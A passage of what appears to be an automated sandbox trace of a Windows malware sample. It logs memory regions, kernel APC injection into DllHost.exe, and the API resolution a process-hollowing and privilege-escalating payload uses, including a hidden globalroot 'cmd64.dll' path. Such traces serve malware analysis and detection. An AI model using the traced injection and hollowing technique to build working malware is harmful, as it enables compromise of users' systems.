end_va = 0x7fefb5b1fff entry_point = 0x7fefb5a101c region_type = mapped_file name = "IDStore.dll" filename = "\\Windows\\System32\\IDStore.dll" Region: id = 1933 start_va = 0x7fefbb30000 end_va = 0x7fefbb5cfff entry_point = 0x7fefbb31010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" Region: id = 1934 start_va = 0x7feff680000 end_va = 0x7feff6d1fff entry_point = 0x7feff6810d4 region_type = mapped_file name = "Wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" Thread: id = 242 os_tid = 0x214 [0086.909] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\dllhost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.909] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.911] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0086.911] IoIs32bitProcess (Irp=0x0) returned 0 [0086.911] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80036e6b90 [0086.911] KeInitializeApc (Apc=0xfffffa80036e6b90, Thread=0xfffffa80037ceb60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0086.911] KeInsertQueueApc (Apc=0xfffffa80036e6b90, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0086.911] ExFreePoolWithTag (P=0xfffffa80036e6b90, Tag=0x0) [0086.911] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa80037ce680 [0086.911] IoGetCurrentProcess () returned 0xfffffa80037d0b30 [0086.911] PsGetCurrentProcessId () returned 0x21c [0086.911] IoIs32bitProcess (Irp=0x0) returned 0 [0086.911] KeInitializeEvent (in: Event=0xfffffa80037ce6c0, Type=0x0, State=0 | out: Event=0xfffffa80037ce6c0) [0086.911] ExQueueWorkItem (in: WorkItem=0xfffffa80037ce680*(List.Flink=0x0, List.Blink=0x6d006900540065, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80037ce680), QueueType=0x1 | out: WorkItem=0xfffffa80037ce680*(List.Flink=0x0, List.Blink=0x6d006900540065, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80037ce680)) [0086.917] KeWaitForMutexObject () returned 0x0 [0086.939] ExFreePoolWithTag (P=0xfffffa80037ce680, Tag=0x0) [0086.939] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.945] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.945] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.946] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.946] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.947] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.947] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.948] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.951] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.951] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.954] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0086.962] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0086.962] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0086.962] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0086.962] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0086.962] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0086.962] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.963] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.963] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.963] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.964] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.965] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.965] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.965] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.966] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.976] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0086.976] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0086.976] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0086.976] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0086.976] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.977] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0086.978] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0086.978] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.979] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0086.979] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0086.979] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0086.979] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0086.979] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0086.979] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0086.979] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0086.981] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0086.981] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0086.981] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x12eda8 | out: lpflOldProtect=0x12eda8*=0x40) returned 1 [0086.981] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x12eda8 | out: lpflOldProtect=0x12eda8*=0x4) returned 1 [0086.981] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0086.981] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0086.981] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0086.981] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0086.981] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0086.981] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0086.981] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0086.981] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0086.981] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0086.981] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0086.981] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0086.981] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0086.982] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0086.982] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0086.982] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0086.982] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0086.982] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0086.982] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0086.982] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0086.982] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0086.982] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0086.982] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0086.982] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0086.982] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0086.982] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0086.982] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0086.982] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0086.982] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0086.982] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0086.982] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0086.983] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0086.983] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0086.983] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0086.983] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0086.983] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0086.983] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0086.983] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0086.983] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0086.983] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0086.983] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0086.983] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0086.983] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0086.983] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0086.983] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0086.983] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0086.983] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0086.983] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0086.983] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0086.983] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0086.984] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0086.984] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0086.984] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0086.984] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0086.984] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0086.984] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0086.984] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0086.984] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0086.984] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0086.984] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0086.984] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0086.984] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0086.984] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0086.984] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0086.984] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0086.984] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0086.984] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0086.984] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0086.985] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0086.985] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0086.985] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0086.985] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0086.985] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0086.985] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0086.985] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0086.985] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0086.985] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0086.985] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0086.985] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0086.985] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0086.985] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0086.985] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0086.985] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0086.985] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0086.985] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0086.985] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0086.986] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0086.986] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0086.986] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0086.986] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0086.986] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0086.986] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0086.986] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0086.986] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0086.986] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0086.986] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0086.986] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0086.986] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0086.986] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0086.986] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0086.986] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0086.986] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0086.986] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0086.986] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0086.987] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0086.987] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0086.987] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0086.987] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0086.987] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0086.987] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0086.987] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0086.987] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0086.987] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0086.987] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0086.987] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0086.987] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0086.987] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0086.987] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0086.987] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0086.987] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0086.987] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0086.987] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0086.987] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0086.988] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0086.988] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0086.988] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0086.988] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0086.988] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0086.988] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0086.988] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0086.988] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0086.988] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0086.988] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0086.988] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0086.988] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0086.990] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0086.990] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\DllHost.exe") returned 0x1f [0086.990] PathFindFileNameA (pszPath="C:\\Windows\\system32\\DllHost.exe") returned="DllHost.exe" [0086.990] GetCommandLineA () returned="C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" [0086.990] _strcmpi (_Str1="DllHost.exe", _Str2="svchost.exe") returned -15 [0086.990] StrStrIA (lpFirst="DllHost.exe", lpSrch="wermgr.exe") returned 0x0 [0086.991] HeapDestroy (hHeap=0x930000) returned 1 [0086.996] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0087.005] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\clbcatq.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0087.020] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0087.026] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rsaenh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0087.028] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 243 os_tid = 0x264 Thread: id = 244 os_tid = 0x290 Thread: id = 245 os_tid = 0x2b0 [0087.056] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shacct.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0087.061] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0087.157] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\userenv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0087.158] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\profapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0087.168] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\samlib.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0087.173] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shell32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0087.754] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d08000 [0087.754] IdePortDispatch () returned 0x103 [0087.799] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ntmarta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0087.799] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\Wldap32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0087.815] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\IDStore.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 246 os_tid = 0x300 Thread: id = 247 os_tid = 0x370 Thread: id = 248 os_tid = 0x38c Process: id = "23" image_name = "userinit.exe" filename = "c:\\windows\\system32\\userinit.exe" page_root = "0xc2ce000" os_pid = "0x3bc" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x19c" cmd_line = "C:\\Windows\\system32\\userinit.exe" cur_dir = "C:\\Windows\\system32\\" Region: id = 1953 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1954 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1955 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1956 start_va = 0x1f0000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1957 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 1958 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1959 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1960 start_va = 0xff100000 end_va = 0xff10bfff entry_point = 0xff105c14 region_type = mapped_file name = "userinit.exe" filename = "\\Windows\\System32\\userinit.exe" Region: id = 1961 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 1962 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1963 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1964 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1965 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1966 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1967 start_va = 0x3c0000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 1968 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 1969 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 1970 start_va = 0x60000 end_va = 0x6ffff entry_point = 0x0 region_type = pagefile_backed name = 